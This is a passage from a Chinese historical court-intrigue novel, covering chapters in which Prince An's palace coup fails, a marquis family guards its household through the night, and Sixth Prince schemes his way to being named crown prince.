大嫂汪永缃因为身怀有孕,有些神思倦怠,不过还在支撑着;大郎没有留意到妻子的情况,他正垂着头,不知想着什么。
老太太看得高兴,欲回头朝其余人说些什么,可是看见小辈们的样子,心中微叹。他们不过是强撑着陪自己罢了,见此,原本的兴致也散了大半,“大郎的娘子还怀有身孕,不宜劳累,快回去歇着吧。”
大郎这才醒过神,连忙看向娘子,见对方的脸上露出一抹轻松,也陪着站起来。
“是,祖母,孙媳告退。”
“祖母,孙儿先陪她回去,一会儿再过来。”
此刻,众人虽然都已恢复仪态,但老太太还是假装掩了掩嘴,“听了大半天的戏,我有些累了,便回去歇着了,你也不用特意回来。”随后看向其余人,“你们或是听戏,或是自己玩乐都可,不必陪着我。”说罢,任由青梅扶着离开了。
封简宁方才也看得很清楚,见状也道:“老太太体谅晚辈,你们便自己玩去吧。”随后也离开了。
有了这话,众人也纷纷离开。
而此刻的皇宫。
景和帝高坐主位,所有的皇子,公主,妃嫔都在下方陪着。今日是难得的机会,大家都想表现一番。
最先举杯的是庄王(九皇子),“父皇,今日除夕,儿子恭祝父皇福寿康宁,万寿无疆,万事顺遂。”他脸上虽然笑着,但却是在黎皇后的命令下,不得不为。
景和帝杯中不过是一盏枇杷露,心里更明白,往年老九哪有这般积极,但也抬手浅饮了一口杯中物,算是回应。
安王(五皇子)看向老九的眼神犹如淬了毒,不甘其后,亦举杯说道:“父皇,儿子希望父皇新的一年龙体安康,吉祥顺意。”
景和帝亦浅饮应了。
黎皇后见状,说道:“今日除夕,陛下高兴,贵妃,你也应当让老大给陛下敬一杯。”
贵妃未说话,三皇子却站出来说道:“大哥与六弟前些日子受了伤,不宜饮酒,儿子身体康健,愿父皇圣躬安泰,江山永固,万民乐业。”
景和帝看着底下之人各自的花腔,心中厌烦,应了老三之后,说道:“你们的孝心,朕知道了,都安坐着看戏吧!”说完这些话,他死死捏着拳头,强忍着想要咳出的声音。
即使身体不适,也不得不忍着,他不能让外人窥见一丝病弱之气。终于忍到时辰,他无视其余人还想留下来表现一番的欲望,径直离开。
回去后的景和帝再也忍不住,一阵猛咳。
江荣海赶紧上前扶着,可一看帕子,惊地不轻,“血!陛下……”
景和帝看着这空荡荡的大殿,枯坐在榻上,无力的摆摆手,略带自嘲的说,“朕原本以为还可以撑上几年,可终究是心存妄想。”
“陛下……您会好的,一定会好的。”江荣海低声哭着。
“唉,别安慰了,朕的身体早就是个漏水的桶,只是为了将来不得
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不打算了。”景和帝想到方才安王的眼神,他已经清楚上次**的详情。
老大本来派了自己的人准备演一出戏,没想到却被老五暗算,将人全部换成自己的死士,打算釜底抽薪,来个一箭双雕,关键时刻却被巡城卫所救。
其实巡城卫也不是无缘无故出现在那里。邢勉终究是察觉到了自己心中真正想立谁,不希望对方出事,这才出手阻拦。
老五面上看着是一个温文和善之人,实则最是狠毒,若真让对方登位,只怕会将手足尽数除去。
出宫的路上。
安王(五皇子)瞥了一眼三皇子,不屑道:“三哥,不是弟弟说你,虽说刘嫔只是宫女出身,但你好歹也是皇子,何必上赶着巴结旁人。”
三皇子藏在袖子里的手紧紧握着,脸上却是一副风轻云淡的模样,“瞧五弟这话说的,我不过是念及手足情分罢了,何谈什么上赶着不上赶着的话。”
六皇子虽不满平乐王(大皇子)拿自己做筏子,但更恼怒老五想趁势除掉自己,出言回怼,“三哥这是顾念手足之情,不过五哥说的也是,我们自然比不上你对兄弟们使得手段,只是有一句话不知五哥是否听过?要想人不知,除非己莫为!我既然知道五哥做了什么,你说父皇是否知道呢?哼!”说罢也不去看安王(五皇子)的神色,直接甩袖离开。
安王的脸色阴一阵,晴一阵,可谓是精彩绝伦,他转身看向后面这层层叠叠的宫阙,父皇啊,父皇,你给不给并不要紧,要紧的是这一切终究要让我拿回来。
平乐王(大皇子)经过之时,冷笑着,“唉,我说老五,别看了,你就是看出花来,这里也和你没关系了!”
第二百五十七章 也是父子相争
年后的日子看似平静无波,可不知为何,就是弥漫着一股紧张的气氛。
就拿兵部武库司来说,之前大家在闲暇之余,还可能说几句闲话。可现在宁可装作一副忙碌的样子,也不会与人多说。就连一向看起来最亲和的王主事,他的话也少了,下职就回家。
包括封砚初,有好几次的宴请都推辞了。这个关键时期,若是不防被人设局可就糟了,再说也不是什么必须要参加的宴。
而他也暂时搬回了侯府居住。父亲封简宁似乎察觉到什么,这是年后做出的决定。
当清风拂过大地,休息了一冬的嫩绿,迫不及待的钻出地面,迎接春日的暖阳,桃树穿上了粉色的纱裙在风中漫舞,飞燕在屋檐下筑巢,一切看起来是那样的生机勃勃。
这日下值后,封砚初照旧回了侯府。
眼见着夜幕将至,父亲封简宁这才匆忙回来,才进门就喊着,“将所有的侧门、角门、后门全关了!”
封砚初一如往常,因为闲得无聊,在屋里练习暗器,忽然听见外头传来一阵嘈杂,正欲起身去外头瞧一瞧,就看见李妈妈进来。
“妈妈,外头怎么了?”
李妈妈心里总觉得不大妙,今日的感觉和二十年前的那一日很相似。那天也是这般,侯府大门紧闭,所有丫鬟都不许在府中乱跑,家里的男仆都被喊走,由护卫带领着四处巡逻。
“二郎,侯爷叫您去前头。”说到这里,李妈妈忍不住抓着封砚初的手,神情紧张不已,“二郎,今日不大对!方才外院传来命令,让所有人都待在房间里不许走动!二十年前也有一次,只是那一晚,整个天边都被火光照亮了,第二日就听说庆国公府被烧了,你一定要小心。”
封砚初神情严肃,转头看向自己的枪,安抚道:“妈妈别担心,照顾好自己。”说罢背起枪就出去了。
他住的离三郎之处不远,正欲叩门,就看见三郎和崔氏已经出来了。
“二哥!”三郎脸色有些发白,他虽然去过青州,但是一路上有人护着,在禁卫军中也没有见过这种。
崔氏也感受到了这紧张的气氛,“二哥。”
封砚初只轻轻点了点头,便朝三郎道:“三郎,我现在要去外院。你已经长大了,应该明白今日不对劲,为了以防万一,将几个姨娘叫到一起,护好她们!然后再将母亲和大姐姐、二妹妹她们送到祖母那里!”封砚初到底不放心自己的姨娘,他抓着对方的胳膊神情极为认真。
就在三郎欲答应之际,青梅匆匆赶来,“老太太让三郎君将几个姨娘叫去她老人家那里。”然后又朝封砚初道:“老太太让二郎君别担心,忙自己的事。”
封砚初这才松了一口气,又急匆匆朝外院赶去,到了以后,发现大家基本上已经到齐了。
父亲封简宁、二叔封简言、大郎封砚开都已经在了,院子被火把照的亮如白昼。
白管家,夏津,方恩,云樟,斗方等护卫,还有不少的男仆都已在待命。
“二郎!”封简宁看见次子的那一刻,略微松了一口气,然后看向夏津和白管家,“当年你们都是经历过的。今夜,不仅要把守好正门,各个侧门,角门,后面,还要沿墙巡逻,将火把点亮,以防贼人入府!”
“是!”
随后,他又开始叮嘱各处细节,大家纷纷领命而去,每个人都开始忙碌起来。<
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br>封简宁看向次子,拍拍对方的肩膀,“二郎,你也在此处,若是有动静传来,你随时支应。”
封砚初点头应道:“是,父亲。不过瞧今日的情形,到底发生了什么事?”
二叔难得正经,叹道:“今日陛下寿宴,因开春后陛下身体愈发重了,不欲大办,只叫了几个重臣和皇室宗亲。安王不知何时勾结了禁卫军统领荣成,已经将皇宫控制了。”
大郎接着说道:“没有陛下的御令,无论是巡城卫还是京西武备营都不得妄动,大家即使知道消息也不敢动。”
封简宁愁绪万千,“更糟糕的是安州守将鲁丘不知何时投靠了安王,就是为了节制城外的靖安武备营和京西武备营,宫城内剩余的禁卫军虽暂时未动,但也不得不防,但愿今夜无事发生。”
封砚初立即意识到一件事,问道:“糟糕,邢尚书进宫参加寿宴去了,巡城卫是指望不上了!吉隆大人呢?他可去了?”
封简宁摇头道:“吉隆乃是陛下亲信,自然去了。”
听了这话,封砚初心里咯噔一下,这分明是安王身后的世族联合起来的算计,否则哪有这么巧的事。
今夜就看陛下与安王谁胜谁败,虽牵扯朝堂,但也是父子相斗,与他们这些臣子没有关系,当下唯一能做的就是保府中太平。
突然!
一阵锣声响起!
白管家气喘吁吁的跑来,“侯爷,是后门院墙那里有贼人意图潜入,已经被打退了!”
封简宁点头道:“好!吩咐下去,凡今日巡逻者加一月月钱,打退贼人者赏银十两,打杀一人赏银五十两!”
白管家领命后,连忙拱手退下传令。
第二百五十八章 我父亲还在边关领兵呢
外头终究是热闹起来了,明显可以听见往来的呼喊声,以及行走时,甲胄摩擦发出的声音。既有往来的兵,还有那想趁机浑水摸鱼的贼。
对于这些贼而言,武安侯府高门大户,那就是个富贵窝。自然有胆子大的想进来光顾,便想越过高墙,试图偷溜进来,总觉得自己最特殊,只需躲避着来回巡逻的护卫即可成功。奈何侯府不小,到处是屋子院落,方向难辨,才进来就被捉住了。
方恩将人押送过来,“侯爷,捉住一个越墙的贼人。”
封简宁气道:“押下去!”
封砚初却留意观察出不妥,“父亲,我瞧方才那人走路的姿势,似乎曾经在军中任职,擅长用刀,他脚上的鞋磨损严重,应该是长时间走路导致,虽然此人极力掩饰,但应该在公门之中任职。”
“公门之人,长时间走路?此刻城门紧闭,外头的进不来,不是巡城卫,就是六扇门的人!审,看是否有同伙!”封简宁皱眉道。
“是!”方恩领命离去。
孙府。
孙延年与五叔孙茂一起在正堂,门外早就被围得严严实实。面对这一情况,孙延年并不着急,反而悠哉悠哉地喝着茶。
孙茂却急得不行,不停地在屋子里转圈,见侄子这副模样,忍不住吼道:“我说你还有心情喝茶呢?咱家被围了呀!”
孙延年却在一旁劝着:“五叔,不是侄儿说,你就消停坐着。我父亲还在边关领兵呢,他们只是不想咱家轻举妄动罢了,我就不信那些人还敢冲进来?再说围就围了,顺带震慑一下那些宵小之辈,贼人不敢摸进来,就当是保护了。”
孙茂依旧不放心,“话虽如此,可万一他们脑子一热,冲进来呢?”
孙延年叹道:“五叔啊,你瞧我母亲和几个兄弟姊妹也不着急,这会儿应该已经睡下了。”言及此处,打了个哈欠,“啊~不行了,五叔,侄儿困了,就先回去躺着了,你要是想留就继续留着吧。”说完,作势要起身离开。
孙茂气的踹了一脚,“你这心也太大了,不怕一万就怕万一!”
孙延年无奈道:“哎呦,我的五叔唉,外头那么多兵守着,咱府里虽然有不少护卫,可数量悬殊太大,更别说他们手里还有**,那可是军中之物!”
平昭公主府。
陈泽文本来也是要一起进宫贺寿的,奈何觉得宴会晚些才开始,他又不想提前进去观看那几个皇子的明争暗斗,决定下职后再去,时间上完全来得及。
可没想到才到宫门口,就发现进不去了!还没到落锁的时间,宫门竟然已经关了,如果还意识不到出事了,那他就是个傻子。既然进不去,便只能回去等着。
其实于他而言,就是那几个皇子互相之间杀的一个不留,也和自己没有任何关系,无论何时,他母亲都是平昭公主!现在最担心里头杀红了眼,伤及母亲和父亲。
与陈泽文的担忧不同,肃王府的几个庶子面上担心,可都在心里期盼着,最好让肃王妃和世子沈在云一起死在里头,这样将来也可以争一争这王位。
外头嘈嚷了一夜,直至黎明之际才渐渐停歇。
老太太一直撑着,直至青梅将烛火熄灭,这才察觉天已经亮了,连忙问道:“几时了?”
竹溪瞧了一眼铜漏,“回老太太,已经卯时初了。”
青梅熄完烛火,见状问道:“老太太,要不要让厨房先准备早饭?”
老太太正心烦着,哪有心情用饭,正欲拒绝,大娘子上来劝着,“母亲,您守了一夜,还是用一些先去歇着,这里有儿媳看着呢。再者侯爷他们也劳累了一夜,还有那些巡逻的
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护卫和下人,也要用一些。”
“罢了,你看着安排吧。”老太太依旧不放心,又道:“去前头问一问,外面到底怎么样了?有无妨碍?”
就在这时,封砚初走进来,行礼道:“外头安静下来了,父亲先让大家用饭休息,也已经派人出去探查情况了。”
大娘子拉着二郎问,“昨晚怎么回事?我听见外头敲锣了。”众人的视线纷纷投了过来。
“是一个小**贼,见外头生乱,想入府行窃,刚越墙进来就被巡逻的护卫抓住了。”为了不引起恐慌,封砚初轻描淡写的说。
其实昨晚并不是小**贼,也不是单独行动,而是有组织有计划的。好在夏津是祖父留下来的老人,经验十足,又有方恩审问出来的证据,那些人没成气候。
大娘子关心道:“你也累了一夜,一会吃了早饭就去歇一歇。”
封砚初摇头道:“不了,昨晚发生这么大的事情,外面已经平静了,我要去兵部瞧一瞧。”
“让人请个假,昨夜发生这样的大事,想来他们也能理解。”大娘子不放心。
老太太却想到别的,“不,让他们父子吃了饭就去打听打听,这会儿已经安静下来了,想来应该有了定局。胜也好败也罢,咱们都必须及时作出反应,家里有我和你二叔在,让你父亲别担心。”
大娘子这才意识到,“母亲说得对,是儿媳想的简单了。”
孙家。
孙延年终究没能回去歇着,硬生生陪着五叔孙茂在正堂熬至天亮。
终于等到下人禀报,“五爷,大郎君,门外的那些兵撤了!”
孙延年抬眼看向五叔,“瞧我说的如何?这不是退了吗?”
“看来宫里这是结束了。”孙茂却挥挥手道:“我去外头瞧一瞧,正好上职时打听打听。”
第二百五十九章 螳螂捕蝉,黄雀在后
陈泽文见外面安静下来,便立即去宫门口接母亲和父亲。
随着宫门渐渐打开,平昭公主和陈驸马相互搀扶着出来了,两人身上的衣服都粘着泥土。公主的发髻有些凌乱,上面的钗环不知掉落在何处。陈驸马的脸上有一处血痕,额头也鼓起一块。两人看见儿子之后,忽然有种绝处逢生的心情。
“父亲,母亲!”陈泽文连忙上前将人扶着,然后上下打量,“你们可有受伤?”
平昭公主摇了摇头,“还好,只受了些惊吓,你父亲护我时,被人推倒在地伤着脸和额头了。”
此刻,终于出宫的陈驸马也有心情调笑,“你这般说,莫不是在心里暗暗可惜我伤了脸?”
平昭公主也被逗笑了,今日两人一起经历生死,到底与往常不同,“净胡说,老夫老妻了,谁还在乎这个。”
陈泽文见父母还能开玩笑,心里松了一口气,“咱们快快回去吧!”
身后的肃王夫妇和世子也出来了,瞧众人都有人来接,就他们没有。
肃王妃见状冷哼一声,“以前就把你那些庶子侧妃当成宝贝一样护持着,生怕我害了他们,如今倒好,别人家里都来人接,偏偏不见他们的踪迹!”
肃王灰头土脸的抱着受伤的胳膊,一言不发,他确实无比失望。
最后还是肃王世子沈在云,厚着脸皮搭了陈泽文的马车,这才解决。
即使上了马车,肃王妃依旧没放过肃王,开口骂道:“这下谁亲谁疏一目了然了吧!要不是我儿,你这会恐怕早就魂归黄泉了!”
肃王见有外人在,拽了拽妻子的袖子,“别说了。”
谁知肃王妃一把拉过自己的袖子,“你还嫌丢人?昨天晚上谁没见过谁啊!”
平昭公主和陈驸马听得一脸尴尬,最后只得劝道:“婶婶也别气了,一家人平平安安比什么都强。”
肃王妃一听这话,心里更是来气,没忍住给了肃王一脚,“平昭啊,当时那些人要胁迫你时,驸马挡在你身前,还受了伤。”然后指着肃王,气愤不已,“但他呢?我也不求他相护,可也不能自己躲在我和儿子身后,拿我俩挡着吧?要不是云儿会些医术,暗中藏了药进来,否则此刻我焉有命在?”
“他倒是心疼那些庶孽,宫门开了,旁人都有人来接。我有自己的亲儿子,不求他们罢了,偏他那些庶子们不见一个!”说到这里心中依旧有气,狠狠捶了对方几下。
见气氛尴尬,陈泽文又实在好奇,开口问道:“昨晚里头究竟发生了什么事?”
肃王清了清嗓子,叹道:“昨晚寿宴之上,安王勾结禁卫军统领荣成反了,直接将所有人控制,胁迫陛下写禅位诏书,最后以失败告终,皇子宗亲皆有死伤。”他说到这里便不再开口,神情黯然。
还是沈在云开了口,“皇后和庄王(九皇子)**,平乐王(大皇子)负伤,三皇子因惧怕临阵倒戈,其余参与之人,现在都已下了大狱。”他说话的语气十分平静,其余人则透着一股颓废之色。
这里头明显还有事,只是现在不方便深问,陈泽文只得住了口,马车上的气氛又陷入一片僵滞。
光明宫。
景和帝躺在床上咳声不断,边上围了一圈太医诊治,六皇子站在旁边焦急的等待着。
“如何了?”
为首的太医院院首行礼道:“臣等无能为力,陛下本就沉疴在身,昨夜又耗费心神,如今……如今……”
六皇子皱眉沉声道:“但说无妨!”
“如今只能好生养着……”接下来的话太医并未明说,但意思已经很明确了。
“罢了,下去开方煎药!”六皇子说着便打发太医们出去。一旁的江荣海见此一幕,一动不动,依旧守在旁边。
景和帝缓缓睁开双眼,“荣海啊,你也下去吧。”
“是。”江
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荣海终究是一步一回头的离开了。
六皇子面上带着忧愁之色,“父皇,刚才太医的话您听见了?是儿臣无能,恨不得替您受之。”
景和帝无力的摆摆手,“罢了,这些场面话就不必说了。朕不管你心里如何想的,螳螂捕蝉,黄雀在后,总之你的目的是达到了。”
“父皇,儿臣惶恐。”六皇子依旧低着头,不去瞧陛下的眼睛。
“老五谋反,你拨乱反正。起码将来继位会比其他几个强些。”景和帝说到这里看向六皇子,“是邢勉将秘旨的内容告诉你的?否则他不可能不惜余力的帮你!”
此刻,六皇子缓缓起身,拱手道:“不,是肃王世子告诉儿子的。”
景和帝听见呵呵的咳笑着,“人皆有私心,肃王这是为了儿子着想,现下看来在云回京是因为你?”
六皇子并未回答,只是沉默不语,可这个态度就已经表明了,此言为真。
“咳咳咳……朕的六皇子真是好手段,没想到你早就有了觊觎之心,还藏的这么深,不仅私底下偷偷训练死士,还借着老五的手除掉了皇后和老九。现下看来武安侯的那个儿子还真是起了关键作用,让你离京游历,否则你永远不在朕的考虑范围之内。”
景和帝瞥见老六神情有些紧张,心里略微好受了些,继续道:“你放心,朕将来的位子依旧是你的,反正邢勉已经给你与禁军副统领牵了线,如今也成了你的人。”
他说到这里神色认真起来,“只是有几句话,不得不叮嘱你,那就是永远不要相信底下的臣子,要用一部分,打压一部分,你的喜恶无足轻重,重要的是朝堂平衡。”
“儿子谨记。”六皇子心中也放松了些。
“从今以后,你就跟在朕身边学习政务吧。”景和帝终究还是说出了这番话。
“儿臣谢父皇隆恩。”六皇子结结实实的行了一个跪拜大礼。
第二百六十章 挡不住它流逝的速度
景和帝扫视着跪在地上的老六,眼底闪过一丝挣扎,瞬间又释然。他不得不承认,因为自己的年老病弱,即使再不舍得手中的权柄,也阻挡不住它流逝的速度。若是以前,禁军统领荣成、以及副统领是绝对不敢轻易投靠皇子的。
自己为了权力,他们同样也是为了权力,一个投靠老五,一个投靠老六!
此刻,景和帝不想看见这个儿子,“朕精神不济,又经过一场宫变,事情不少,你就先替朕主持大局,下去吧!”对方以前的淡泊名利,孝顺听话都是装的。
六皇子心里很清楚,无论谁碰见这种事情心里都不好受,并未强留,而是听话的退了出去,仿佛还是原来那个恭敬孝顺的儿子。
走出宫殿,空气中散发着淡淡的血腥气,太监们正努力清洗着残留在地面上的血迹。他抬头望向天空,太阳已经升起,照在人身上暖暖的,仿佛洗去了昨夜的疲惫,他依旧精神振奋,只觉得一切是那样美好。
江荣海一直等六皇子出去之后,这才匆匆进入殿内,端起药捧至景和帝面前,一勺一勺地喂。随之欲取一颗蜜饯,为陛下冲一冲嘴里的苦味。
景和帝摆摆手道:“不用了,想来这苦药,朕也尝不了多久了。”
这段时日,江荣海将一切都看在眼里,“陛下,您肯定会好的,老奴还想伺候您呢。”
景和帝这时才发现,江荣海也老了,头上不仅生了白发,就连脸上的褶子也多了,毕竟伺候了他一辈子,实在不忍对方也落个凄惨的下场,“你也老啦,记得你来朕身边时,年岁还很小。”
江荣海内心很清楚,当一个人总回忆过去之时,那就证明对方是真的老了,否则不会怀念从前。
他努力挤出笑脸,“陛下还记得呢,老奴到陛下身边时才十岁。那时候总吃不饱饭,有一次还偷吃陛下的点心,结果被发现了,当时可是吓坏了。没想到陛下不仅没怪罪,还将那一盘子点心都赏给老奴了。”
景和帝叹道:“是啊!当时都年轻,转眼过去了这么多年。如今朕身子不痛快,这几日,事情就交给老六暂代,你多帮一帮他。”
“陛下!”江荣海双目瞪的老大,脸上满是惊愕。多年的侍奉,让他很了解陛下,同时也清楚陛下想表达的意思,这是想让他卖六殿下一个好。
“唉,去吧,朕要歇一会。”景和帝说完这话,就闭上眼睛。
江荣海轻手轻脚的离开了大殿。陛下害怕死亡,所以紧紧抓着手中的权力不想松手。可经此一事,陛下也明白是抓不住的!
他亦害怕死亡,担心陛下前脚驾崩,自己后脚就被赐死。比起死亡,他更心甘情愿的为陛下守陵,可没想到,陛下终究念及多年的主仆情分,给自己指了条后路。
封砚初刚到兵部,就发现除邢尚书之外,其余人都来了。大家三五成群的聚在一起,议论着昨晚发生的事情。
刚进门,就被几个同僚围住,“封主事,安王昨夜谋反,你可知具体发生了什么事?”
他摇头道:“我还以为你们知道呢,正想打听打听呢。”
孙茂孙员外郎却说起别的事情,“听说昨晚好多人家的府邸都遭了贼,还有伤人性命者,你们武安侯府呢?”
封砚初赶紧趁机从人群中脱离出来,“也进了贼,幸好被护卫抓住,不曾惊扰家人。”
孙茂听后,大大方方地说道:“昨
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晚我家被围了一晚上,也不知是幸运还是不济,倒是不曾遭贼。今日一大早,大理寺和京兆府有不少人报案,此时恐怕忙的飞起。”
众人都心照不宣的没有提及六扇门,盖因此次有很多偷窃行为,就是一些捕快伙同外贼干的。
直到安槐序安侍郎到了兵部,瞧见众人都在闲谈,没有一个人做事,便呵退大家,“都堵在这里做什么?兵部是没事可做了吗?还不赶紧忙去!”
即使安侍郎再怎么阻止,发生了这么大的事情,消息犹如风一般吹遍了京城。
封砚初自然也知道了昨晚所发生的事。只能说陛下察觉到安王和他身后的势力打算破釜沉舟,便决定顺水推舟,正好光明正大的除掉那些人。
只是没想到关键时刻出现了变故,禁卫军副统领暗中投靠六皇子。就这么稍稍延迟了救援,就让五皇子杀了黎皇后和庄王,看似六皇子大义凛然,实则在里头起到的作用不言而喻,最后的赢家终究成了他。
整个过程靖安武备营的人,都在与京西武备营全力节制从安州方向来的兵马。里里外外,外人瞧了,都会觉得他是最守规矩、最无辜、最正义的人。
巡城卫因未得到命令,依旧如往常一样。奈何昨晚大乱,原本的人手根本不够用,致使宵小趁机浑水摸鱼。
此次安王谋逆,牵扯进不少人。下大狱的下大狱,抄家的抄家,原本还煊赫的人家,霎时间沦为了阶下囚,比那寻常百姓还不如。
黎文堂的希望也破灭了,女儿和庄王在这场谋逆中丧命,此刻,也不知是幸运还是不幸。不过,最起码跟随黎家的人,不会像追随安王一样,落个锒铛入狱的下场。
第二百六十一章 我早就不在意了
在景和帝养病的这几日,六皇子可谓是做足了姿态,不仅每日前去请安,而且遇到不决之事必定请示。
甚至还亲自去探望受伤的长兄,落了个关爱手足的名声,与安王那个弑母杀弟,篡权夺位之人不知好了多少倍。
平乐王府。
平乐王(大皇子)伤了腿,只能卧床休息,六皇子便带着补品亲自上门探望。
当门被打开的那一刻,里头便传出一个阴阳怪气的声音,“哟,这不是我那六弟吗?什么风把你吹来了?”
六皇子仿佛没看见对方那张阴沉的脸,没听出那阴阳怪气的语调,脸上挂着温和的笑,“大哥说的什么话,你被五哥所伤,也是受了无妄之灾,做弟弟的自然要来探望。”
平乐王眼里几乎是冒着火光,就连说话的语气,都有些咬牙切齿的味道,“哼,少在本王面前装模作样!以前是本王瞎了眼,竟不知你的狼子野心!藏的真深啊,恐怕父皇都被你骗了吧?是不是从今以后,本王见了你还得行礼,叫一声太子殿下?”
六皇子眼神暗了暗,不过,他依旧是那副温和有度的模样,“瞧大哥说的,这一切都是五哥的错,只是三哥是又那副样子,七弟和八弟还年幼。要不是大哥受伤,父皇卧病在床,这些事情怎么着也轮不到弟弟。”
平乐王冷哼一声,眉间写满了不屑,“少说这些冠冕堂皇的话,你要不是为了那点子兄友弟恭的名声,会来看本王?还是赶紧离了我这里,免得见到你之后,连隔夜饭都要呕出来。”
六皇子并未急着辩驳什么,而是四处观看起来,还止不住的赞叹,“大哥这宅子倒是不错,临窗而坐,就可以看见院中的落英缤纷,不像我那里光秃秃的,移栽的树木还是个小树苗。”
平乐王听见这话神色有些不好,当年六皇子府是他负责督造的,从中克扣了不少。工部没钱,自然就以次充好,节约成本。
“我母妃早逝,这些年我被贵妃娘娘教养,此番恩德自然不敢忘。”六皇子说到此处,像是心中不舍一般,诉说着往昔,“本来我已经到了出宫开府的年纪,是贵妃娘娘给父皇说舍不得我,又拖了两年。以为出宫的日子会轻松些一些,没想到贵妃娘娘那般爱护我,还将陈茂才派来服侍,他也当真尽职尽责,对贵妃娘娘事事回应。”
对方说的轻松,可平乐王听起来却并非如此。当年母妃只在父皇面前之时,才会对老六表现出十分关爱的样子,其实转过身很不待见对方。没想到老六后来得了父皇的宠信,母妃这才不敢做的太过分。
自己也是有样学样。毕竟在他眼中,老六不是兄弟,而是可以随时使唤的仆人。如今对方得了势,以后哪里还有自己的好日子,思及此处,不禁有些后悔方才对老六的态度不好。
六皇子回头看向平乐王,笑得眼睛都咪起来了,仿佛真的只是随口说说而已,“大哥这是什么表情?那都是小时候的事,再怎么说贵妃娘娘都是长辈,我早就不在意了。对了,昨日我进宫看望了贵妃娘娘,娘娘很担心你的腿,只是她不方便出宫,托我给你带个好。”
他走近看了看平乐王的脸色,然后缓缓点头,“嗯~瞧着大哥的脸色不错,想来恢复的很好,弟弟就不多打扰了,就此告辞。”说完,头也不回的走了,好像真的是来看望受伤的长兄一般。
一直等六皇子离开之后,平乐王妃这才匆匆进来,紧张的看向平乐王,“王爷,方才六弟那些话是什么意思?”其实她对六皇子还不错,此时更多是担心到时候牵连到自己。
平乐王不耐烦的吼道:“我怎么知道!那小子一贯会装,否则我和母妃也不会被他欺骗这么多年。更别说父皇现在已经认定了那小子,就是想做些什么,我又怎么可能挡得住?”
六皇子离开后,便叫来了为平乐王
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治腿的太医,“安王残暴,致使平乐王伤了腿,今日我去瞧了,只是见他脸色不太好,可有什么不妥之处?”
太医还以为六皇子这是疑心自己的医术,连忙表决心,“还请六殿下放心,平乐王虽说伤及骨头,但只需好好将养,将来行走奔跑,骑马射箭,完全不成问题的。”
六皇子听后眉毛微挑,嘴角扯出一抹淡淡的笑,“哦?是吗?怎么我今日去瞧,大哥说腿依旧疼得厉害,担心将来不良于行,莫不是你没上心?”
太医已经听出对方的言外之意,连忙行礼,战战兢兢道:“启禀六殿下,昨日微臣瞧过平乐王的腿伤,因伤及骨头,即使好好养着,将来也会落下跛足之症。”
六皇子听后叹道:“唉,大哥之前是多么骁勇的一个人啊,可惜要因腿伤落下跛足。这个消息对他来说太过突兀,猛然知晓恐怕不利于恢复,还是先瞒着他,明白吗?”
太医立即应道:“是,微臣领命。”
“对了,以后大哥的腿就交给你一人诊治,其余人不得插手。”六皇子说完这话示意一旁的李延看赏。
“是!微臣告退。”太医拿着赏赐离去。
话说景和帝的身体稍稍好些之后,便恢复了早朝。
殿内的位置空了好几个,这些都是与安王谋逆案有直接牵扯的官员。在场之中,还有一些是从前跟随在安王身边的人,这些人的日子并不好过,这段时间过得胆战心惊,不停地奔走,可成效不大。
“之前朕身体有恙,诸位大臣请立储君。只是国祚轻忽不得,这几个月,朕一直在考察诸位皇子,如今看来皇六子沈显瑞人品贵重,堪为储君,从今以后便跟在朕身旁学习政务,至于立储大典就交给礼部去办。”
六皇子虽然知道早晚都会如此,但是当这个消息真正来临之时,他无比激动,连忙出列,行了跪拜大礼,“臣,谢陛下隆恩。”
第二百六十二章 你这不是第一次了
从这之后,景和帝果然将六皇子带在身边教导政事。
这些是六皇子以前从未接触过的,他确实虚心求教。可随着慢慢学习,他才发现身处高位的艰难,以及很多事情的身不由己。皇帝与大臣之间相互**防备,臣子想将上位者当成一个摆设,只需坐在上头即可,以此架空皇权。
每个皇帝都想一展雄心壮志,怎甘心被臣子掣肘、限制,渐渐的就变成了那个孤家寡人,谁都不能相信。
通过这段时间的学习,他这才明白父皇为何迟迟不立储君。也清楚父皇压没想将那个位置交给老五和老九,他们不过是世家官宦推在前头的代表,而这是父皇绝不会容许的。
礼部动作很快,不过月余,便已是立储大典。
六皇子头戴远游冠,身着太子礼服,缓步拾级而上,从景和帝手中接过那象征着储君的印玺和册书,随后转身接受朝臣之礼。
他居高临下的看着阶下那些行礼的群臣,心中涌出一股傲然,从今后,谁都挡不住他的脚步!
武安侯府。
自从那次政变之后,封砚初就搬回了广林巷,这次他回来纯粹是因为有事。
“近日六扇门整顿,从中剔除了很多名不副实,浑水摸鱼之人。”封砚初一边饮茶,一边对大娘子说着。
“你的意思是想让婉儿去?可她眼看着到了要相看的年岁。”大娘子一脸纠结。
“母亲勿忧,二妹妹在习武之上不仅有天赋,还很刻苦,正好六扇门招人,她可以去试一试,再说以咱家如今的情况,何愁没有好夫婿?”说到这里,他轻叹着,“唉,当年大姐姐遇人不淑,当时的无奈我深有体会,所以,比起联姻,我更希望她开心。”这是他的真心之言。
“恐怕老太太和你父亲不会同意的。”大娘子很了解婆母和夫君,比起进六扇门,他们宁可让婉儿嫁人。
封砚初却提议,“先斩后奏,二妹妹的名字儿子已经报上去了。我见过她披星戴月,寒暑不辍的习武,也不希望她到最后辜负了这一身武艺。”
其实比起三郎,二妹妹更加刻苦自觉,从来不用人催促,她自己就会制定计划。更别说二妹的天赋更甚于三郎,若就此放弃或者藏起来,实在可惜。
要不是二妹妹身量较瘦,力量不足,他没准还会扶持对方成为一名女将军呢。
就在大娘子还在犹豫之际,长姐封砚敏进来了,“母亲,二郎。”
“姐姐。”封砚初发现对方的眼角微微发红,将原本要说的话咽了下去。
“敏儿,你怎么来了?”大娘子闻声抬头看去,只见女儿脸上虽笑着,但作为母亲,她自然发现女儿神情有些不对。
封砚敏脸上依旧带着得体的笑,“关乎二妹妹的大事,女儿也想听一听。”
大娘子听后纠结道:“二郎是想让婉儿入六扇门,我倒是无妨,只是她眼见要相看人家,若是进了六扇门,旁人难免会觉得你二妹妹不是一个安心侍奉夫君和舅姑之人,再则你祖母和父亲也不会答应的。”
说实话,封砚敏是有些羡慕二妹的,虽然不受家里重视,但起码有机会一展抱负。也许因为自己的前车之鉴,二郎一直在为她打算,思及此处,劝道:“母亲,女儿今生无缘,可却不想二妹妹也被困着,明明机会就在眼前,若是拦着不让她跨出去,岂不是后悔终生?”
想到女儿的遭遇,大娘子难免神伤,“罢了,既然名字已经报上去了,就让她试一试。只是毕竟是女孩子家,她身边没个人照看,实在让人不放心。”
